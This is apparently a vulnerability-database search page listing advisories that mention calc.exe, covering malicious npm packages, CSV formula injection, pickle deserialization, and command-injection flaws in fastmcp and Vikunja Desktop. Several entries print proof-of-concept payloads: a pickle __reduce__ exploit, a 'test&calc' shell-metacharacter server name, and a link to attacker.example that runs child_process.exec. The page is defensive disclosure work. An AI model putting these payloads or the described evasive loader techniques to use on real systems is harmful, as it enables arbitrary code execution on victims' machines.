Search: calc.exe
25 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.4 | EPSS 0.2% | Medium5.4EPSS 0.2%GCVE DatabaseCVE-2026-8357 A heap buffer overflow vulnerability exists in LibreOffice Calc's formula compilation, which could allow arbitrary code execution. This issue is tracked as CVE-2026-8357 and affects LibreOffice as packaged for Red Hat Enterprise Linux 8.6. Red Hat has issued a security update to address this vulnerability. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The npm package insomnia-plugin-poc-m4gester-run version 1.0.0 contains malicious code that executes arbitrary commands on Windows machines during installation. Specifically, its postinstall lifecycle hook runs calc.exe, demonstrating the capability for remote code execution at install time. The package does not provide any legitimate Insomnia plugin functionality and appears to be a proof-of-concept for exploitation. This behavior poses a risk to developers who install this package on Windows systems. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ade6fb9a07c6f1417e9569af48b6c638bf12fba7540493b1b38a2d6ba42d101c) @jaymara/jsononifier@1.0.2 is advertised as a JSON formatting utility but ships a covert command-execution primitive that fires on require. index.js loads trigger.js, which checks for sandbox indicators (process.env.CI==='true', NODE_ENV==='test', existence of /.dockerenv) and the platform (win32); when those checks indicate a real Windows workstation, it schedules Executer.js via process.nextTick + setTimeout(5000). Executer.js XOR-decodes a byte array from payload.js using key 'xorkey123' and passes the resulting string to child_process.exec with { windowsHide: true }. payload.js openly comments the intent ('XOR-encoded command – not visible in source'). The current decoded value is a demo (calc.exe), but the mechanism — opaque encoded bytes decoded at runtime and handed to exec, gated to skip CI/test/Docker and only fire on real victim machines — is the attack: a future tarball can swap the byte array for any command without changing the visible code. None of this is required by, or consistent with, a JSON formatter. | GCVE Database | |||
| Medium | 4.6 | EPSS 0.2% | CVE-2026-46672actualbudget actual · CSV Injection Medium4.6EPSS 0.2%CVE Database V5CVE-2026-46672 Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General Through April 2026, Kimsuky deployed sophisticated malicious campaigns against South Korean military and corporate entities using tailored social engineering tactics including fake security software installation pages and spoofed Webex meeting pages leveraging legitimate meeting schedules. The threat actor introduced a novel JSONPing technique allowing distribution pages to verify in real time whether victims executed the payload via JSONP queries to localhost servers. Analysis revealed a new HttpSpy variant with a three-stage execution chain replacing the previous single-binary architecture, utilizing RC4 encryption and shared infrastructure indicators. Attribution was confirmed through code pattern overlaps, reused encryption keys, XAMPP certificate fingerprints, and preferred ASN usage consistent with historical Kimsuky operations targeting South Korea. | AlienVault OTX General | |||
| High | 7.4 | High7.4GCVE Database The wger gym member TSV export endpoint writes user profile fields first_name and last_name directly into TSV cells without sanitizing formula prefixes. This allows any gym member to inject spreadsheet formulas into their profile fields, which execute when a gym admin exports and opens the member list in Excel, LibreOffice Calc, or Google Sheets. The executed formulas can exfiltrate data or, on legacy Excel with DDE enabled, execute arbitrary code locally. This vulnerability affects wger versions prior to 2.6 and has a high severity rating (CVSS 7.4). | GCVE Database | |||
| High | 7.6 | High7.6GCVE Database ### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method | GCVE Database | |||
| Medium | 6.7 | EPSS 0.7% | CVE-2025-64340jlowin fastmcp · OS Command Injection Medium6.7EPSS 0.7%CVE Database V5CVE-2025-64340 Server names containing shell metacharacters (e.g., `&`) can cause command injection on Windows when passed to `fastmcp install claude-code` or `fastmcp install gemini-cli`. These install paths use `subprocess.run()` with a list argument, but on Windows the target CLIs often resolve to `.cmd` wrappers that are executed through `cmd.exe`, which interprets metacharacters in the flattened command string. PoC: ```python from fastmcp import FastMCP mcp = FastMCP(name="test&calc") @mcp.tool def roll_dice(n_dice: int) -> list[int]: """Roll `n_dice` 6-sided dice and return the results.""" return [random.randint(1, 6) for _ in range(n_dice)] ``` ``` fastmcp install claude-code server.py # or: fastmcp install gemini-cli server.py ``` On Windows, this opens Calculator via the `&calc` in the server name. Impact: Arbitrary command execution with the privileges of the user running `fastmcp install`. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a `.cmd` wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json). Patched in #3522 by validating server names to reject shell metacharacters. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 1.2% | CVE-2026-33336vikunja · Code Injection Medium6.5EPSS 1.2%CVE Database V5CVE-2026-33336 Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.4. The victim uses Vikunja Desktop and clicks the link.5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project.2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link.5.calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows). | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.2% | CVE-2025-62801jlowin fastmcp · OS Command Injection Medium5.4EPSS 0.2%CVE Database V5CVE-2025-62801 ### Summary A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor ### Details 1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string. 2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>. 3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process. ### PoC server.py ``` import random from fastmcp import FastMCP mcp = FastMCP(name="test&calc") @mcp.tool def roll_dice(n_dice: int) -> list[int]: """Roll `n_dice` 6-sided dice and return the results.""" return [random.randint(1, 6) for _ in range(n_dice)] if __name__ == "__main__": mcp.run() ``` then run in the terminal: `fastmcp install cursor server.py` ### Impact OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike. | CVE Database V5 |
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